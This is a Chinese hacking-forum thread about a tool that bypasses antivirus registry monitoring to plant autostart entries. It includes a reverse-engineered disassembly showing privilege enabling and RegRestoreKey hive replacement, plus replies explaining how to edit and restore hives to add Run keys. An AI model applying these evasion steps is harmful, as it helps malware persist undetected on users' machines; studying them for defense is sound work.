发新话题
打印

[原创]突破主动防御之注册表监控篇(已更新)

引用:
引用第24楼xyzreg2007-02-28 01:40发表的:

可以直接RegRestoreKey~
我测试的情况是这样的:
用RegSaveKey导出一个HIVE文件,
用记事本打开,即使不做任何修改,此时再Ctrl+S保存一下,
再调用RegRestoreKey,就无法成功了。
xyzreg兄的意思是不是不要RegSaveKey,
而直接用RegRestoreKey恢复一个HIVE文件来ByPass???

TOP

引用:
引用第25楼月无光2007-02-28 08:14发表的:

我测试的情况是这样的:
用RegSaveKey导出一个HIVE文件,
用记事本打开,即使不做任何修改,此时再Ctrl+S保存一下,
再调用RegRestoreKey,就无法成功了。
.......
RegRestoreKey重复执行一下就应该成功了~ 嘿嘿
http://www.xyzreg.net

TOP

引用:
引用第21楼安全2007-02-27 23:50发表的:

是KAV6.0.2.671

.......
我刚才用最新版 KAV6.0.2.675测试一下,特殊方法 A 他确实会报。但是我的程序已更新了,增加了 特殊方法改注册表 B,新增的这个就能突破卡巴最新版了,你可以试试~
http://www.xyzreg.net

TOP

呵呵```厉害```

有机会下来测试下。.。

TOP

卡巴来提特征码了 [s:34]  [s:34]

TOP

对最新的360卫士没有效果。

TOP

厉害.......看来以后的杀防软件有得头疼了.....嘿嘿.....

TOP

引用:
引用第30楼xzchina2007-02-28 13:29发表的:
对最新的360卫士没有效果。
360好像不是实时监控注册表吧?

TOP

Set wmiServices = GetObject("winmgmts:root/default")
Set wmiSink = WScript.CreateObject("WbemScripting.SWbemSink", "SINK_")
wmiServices.ExecNotificationQueryAsync wmiSink, _
   "SELECT * FROM RegistryKeyChangeEvent WHERE Hive='HKEY_LOCAL_MACHINE' AND " & _
   "KeyPath='SOFTWARE\\Microsoft\\Windows\\CurrentVersion'"
WScript.Echo "Listening..." & vbCrLf
While(1)
   WScript.Sleep 1000
Wend
Sub SINK_OnObjectReady(wmiObject, wmiAsyncContext)
   WScript.Echo "Received Registry Change Event" & vbCrLf & _
            "------------------------------" & vbCrLf & _
            wmiObject.GetObjectText_()
End Sub

TOP

引用:
引用第23楼xyzreg2007-02-28 01:39发表的:

可以突破SSM最新版。你说的SSM免费版不是实时拦截型监控,这类注册表修改通知式的非实时注册表监控也有办法绕过。有两大方法,清除Notify回调函数和rootkit技术隐藏注册表。


SSM商业版的注册表监控,是监控到试图访问或修改,弹出提示框询问是否允许..........

免费版的注册表监控非常简陋,我设置了阻止修改,当试图修改时,SSM不弹提示框,而是直接阻止修改并模块报警
引用:
引用第27楼xyzreg2007-02-28 08:19发表的:

我刚才用最新版 KAV6.0.2.675测试一下,特殊方法 A 他确实会报。但是我的程序已更新了,增加了 特殊方法改注册表 B,新增的这个就能突破卡巴最新版了,你可以试试~


是的,特殊方法A不能过KAV6.02671,特殊方法B可以过了
只是在清除修改时候,会监控到
[fly]安全重要[/fly]

TOP

矛与盾的较量!
技术就是这样提高的!

TOP

引用:
引用第32楼月无光2007-02-28 14:01发表的:

360好像不是实时监控注册表吧?
我的截图:

http://wisdombird.bokee.com/inc/bx.jpg

TOP

引用:
引用第30楼xzchina2007-02-28 13:29发表的:
对最新的360卫士没有效果。
我主贴里不是写了么:
至于360safe之类的注册表修改通知式的非实时注册表监控也有办法绕过。有两大方法,清除Notify回调函数和rootkit技术隐藏注册表。
http://www.xyzreg.net

TOP

特殊方法修改 B可突破卡巴斯基安全套装6.0  楼主发表的东西是好东西,可以开源学习下吗

TOP

楼主,运行的时候,我的ZA提示用户是否同意修改。
还有我忘了几楼的朋友说vista驱动的问题,现在vista对硬件厂商有认证。你可以去你硬件厂商的主页看看有没有相关的vista版驱动
当你把不可能变成可能,你会发现你已经被称为高手

TOP

引用:
引用第40楼net-owl2007-03-01 16:56发表的:
楼主,运行的时候,我的ZA提示用户是否同意修改。
还有我忘了几楼的朋友说vista驱动的问题,现在vista对硬件厂商有认证。你可以去你硬件厂商的主页看看有没有相关的vista版驱动
特殊方法B可以绕过ZA最新版。
http://www.xyzreg.net

TOP

特殊方法B是不是使用了不监控的路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies
和配合C:\XYZ2.HIV
来实现?

TOP

SSM通不过,我用的是正版的SSM。

TOP

.HIV是不是和.Reg的意思差不多?
.HIV里备份的是注册表项,然后用RegRestoreKey恢复?
反了下汇编貌似是这个意思,呵呵

TOP

   这个程序的源没什么,只要是这个程序当你点"利用特殊方法修改注册表"的时候,这个程序会释放出一个c:\\xyz2.hiv文件,然后将SeRestorePrivilege事件作为参数传递给一个函数,这个函数负责把程序提升到system。之后对注册表进行操作,最后作者del xyz2.hiv了

真正的精华,是xyz2.hiv。



.text:004014D3 loc_4014D3:            
.text:004014D3         cmp   ax, 401h ;用户是否点了“退出”按扭
.text:004014D7         jnz   short loc_4014FD ;点了就退
.text:004014D7
.text:004014D9         call  sub_401090 ;如果没点,就利用特殊方法修改注册表
.text:004014D9
.text:004014DE         mov   eax, [esp+4]
.text:004014E2         push  20h
.text:004014E4         push  offset s_S   ; "提示"
.text:004014E9         push  offset s_TIVSAPUB___CJ ; "\n特殊方法修改注册表自启动项 B

...\r\n\r\n如"...
.text:004014EE         push  eax
.text:004014EF         call  ds:MessageBoxA
.text:004014F5         mov   eax, 1
.text:004014FA         retn  10h
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

下面才是此程序的精华部分:

.text:00401090 sub_401090   proc near        ; CODE XREF: .text:004014D9p
.text:00401090
.text:00401090 var_14     = dword ptr -14h
.text:00401090 phkResult    = dword ptr -8
.text:00401090 NumberOfBytesWritten= dword ptr -4
.text:00401090
.text:00401090         sub   esp, 8 ;分配内存
.text:00401093         push  ebx ;这里不是参数,而是保存寄存器
.text:00401094         push  esi
.text:00401095         push  edi
.text:00401096         push  offset Type   ; "xyz2"
.text:0040109B         push  84h       ; lpName
.text:004010A0         push  0        ; hModule
.text:004010A2         call  ds:FindResourceA ; 查找xyz2资源
.text:004010A8         mov   esi, eax
.text:004010AA         push  esi       ; hResInfo
.text:004010AB         push  0        ; hModule
.text:004010AD         call  ds:SizeofResource ; 获取资源长度
.text:004010B3         push  esi       ; hResInfo
.text:004010B4         push  0        ; hModule
.text:004010B6         mov   edi, eax
.text:004010B8         call  ds:LoadResource ; 装载资源
.text:004010BE         push  0        ; hTemplateFile
.text:004010C0         push  0        ; dwFlagsAndAttributes
.text:004010C2         push  2        ; dwCreationDisposition
.text:004010C4         push  0        ; lpSecurityAttributes
.text:004010C6         push  0        ; dwShareMode
.text:004010C8         push  40000000h    ; dwDesiredAccess
.text:004010CD         push  offset FileName ; "c:\\xyz2.hiv"
.text:004010D2         mov   ebx, eax
.text:004010D4         call  ds:CreateFileA ; 打开文件准备把资源写入
.text:004010DA         push  0        ; lpOverlapped
.text:004010DC         mov   esi, eax
.text:004010DE         lea   eax, [esp+18h+NumberOfBytesWritten]
.text:004010E2         push  eax       ; lpNumberOfBytesWritten
.text:004010E3         push  edi       ; nNumberOfBytesToWrite
.text:004010E4         push  ebx       ; hResData
.text:004010E5         call  ds:LockResource ; 锁定资源
.text:004010EB         push  eax       ; lpBuffer
.text:004010EC         push  esi       ; hFile
.text:004010ED         call  ds:WriteFile  ; 创建一个C:\xyz2.hiv文件
.text:004010F3         mov   ebx, ds:CloseHandle
.text:004010F9         push  esi       ; hObject
.text:004010FA         call  ebx ; CloseHandle
.text:004010FC         push  offset Name   ; "SeRestorePrivilege"
.text:00401101         call  sub_401000   ; SeRestorePrivilege事件作为参数传递给一个                            ;函数
.text:00401101
.text:00401106         add   esp, 4     ; 把空间还给系统
.text:00401109         lea   ecx, [esp+14h+phkResult]
.text:0040110D         push  ecx       ; phkResult
.text:0040110E         push  offset SubKey  ;                   ;"SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
.text:00401113         push  80000002h    ; hKey
.text:00401118         call  ds:RegOpenKeyA ; sub_401000函数已经帮我们把一切都摆平了,                            ;可以设置了
.text:0040111E         mov   edi, ds:RegRestoreKeyA
.text:00401124         xor   esi, esi
.text:00401126         jmp   short loc_401130

.text:0040115C         pop   ebx
.text:0040115D         add   esp, 8 ;典型的函数自己恢复堆栈
.text:00401160         retn
.text:00401160
.text:00401160 sub_401090   endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

将SeRestorePrivilege事件传递之后,程序做了如下动作,典型的调用OpenProcessToken等函数获取并且修改令牌来提升权限:

.text:00401000 TokenHandle   = dword ptr -1Ch
.text:00401000 Luid      = _LUID ptr -18h
.text:00401000 NewState    = _TOKEN_PRIVILEGES ptr -10h
.text:00401000 lpName     = dword ptr 4
.text:00401000
.text:00401000         sub   esp, 1Ch
.text:00401003         lea   eax, [esp+1Ch+TokenHandle]
.text:00401006         push  eax       ; TokenHandle
.text:00401007         push  28h       ; DesiredAccess
.text:00401009         call  ds:GetCurrentProcess
.text:0040100F         push  eax       ; ProcessHandle
.text:00401010         call  ds:OpenProcessToken ; Open the access token associated with a process
.text:00401016         test  eax, eax
.text:00401018         jz   short loc_401084
.text:00401018
.text:0040101A         mov   edx, [esp+1Ch+lpName]
.text:0040101E         lea   ecx, [esp+1Ch+Luid]
.text:00401022         push  ecx       ; lpLuid
.text:00401023         push  edx       ; lpName
.text:00401024         push  0        ; lpSystemName
.text:00401026         call  ds:LookupPrivilegeValueA
.text:0040102C         test  eax, eax
.text:0040102E         jnz   short loc_40103E
.text:0040102E
.text:00401030         mov   eax, [esp+1Ch+TokenHandle]
.text:00401033         push  eax       ; hObject
.text:00401034         call  ds:CloseHandle
.text:0040103A         add   esp, 1Ch
.text:0040103D         retn
.text:0040103D
.text:0040103E ; ---------------------------------------------------------------------------
.text:0040103E
.text:0040103E loc_40103E:               ; CODE XREF: sub_401000+2Ej
.text:0040103E         mov   ecx, [esp+1Ch+Luid.LowPart]
.text:00401042         mov   edx, [esp+1Ch+Luid.HighPart]
.text:00401046         push  0        ; ReturnLength
.text:00401048         push  0        ; PreviousState
.text:0040104A         push  10h       ; BufferLength
.text:0040104C         lea   eax, [esp+28h+NewState]
.text:00401050         push  eax       ; NewState
.text:00401051         mov   [esp+2Ch+NewState.Privileges.Luid.LowPart], ecx
.text:00401055         mov   ecx, [esp+2Ch+TokenHandle]
.text:00401059         push  0        ; DisableAllPrivileges
.text:0040105B         push  ecx       ; TokenHandle
.text:0040105C         mov   [esp+34h+NewState.PrivilegeCount], 1
.text:00401064         mov   [esp+34h+NewState.Privileges.Luid.HighPart], edx
.text:00401068         mov   [esp+34h+NewState.Privileges.Attributes], 2
.text:00401070         call  ds:AdjustTokenPrivileges ; Enable/disable privileges in the specified access token
.text:00401076         test  eax, eax
.text:00401078         jnz   short loc_401084
.text:00401078
.text:0040107A         mov   edx, [esp+1Ch+TokenHandle]
.text:0040107D         push  edx       ; hObject
.text:0040107E         call  ds:CloseHandle
.text:0040107E
.text:00401084
.text:00401084 loc_401084:               ; CODE XREF: sub_401000+18j
.text:00401084                     ; sub_401000+78j
.text:00401084         add   esp, 1Ch
.text:00401087         retn
.text:00401087
.text:00401087 sub_401000   endp
游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn

TOP

其实最主要的就是使用RegRestoreKeyA了,过咔吧就是它,哈哈

TOP

我在自己的機子執行RegSaveKey(鍵值是HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce)而生成的*.HIV文件拿到其他機子上用RegRestoreKey導入該文件,這樣會不會有問題?
另外,有沒有函數可修改*.HIV文件?如我要在 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ 新增一啟動路徑後再導回註冊表,該如何做?
我試過用記事本打開生成後的*.HIV文件發現是一堆亂碼,不是一般的文本格式.
煩請指教,謝謝.

TOP

命令行下用Reg Save 导出hive,程序中RegRestoreKey替换即可。
回takdick的问题:可以在命令行下用Reg Load 将hive文件挂载到注册表中,即可修改,改完再调用Reg unload

TOP

我试了下。我的 微点主动防御 不报警,重起后微点也没提示,不过这个软件说是主动防御软件!
难道是忽悠???还是别的什么的!!!

TOP

呵呵 注册表的变动就报警 也太不智能了吧 你看下注册表变更日志里有记录没?

TOP

发新话题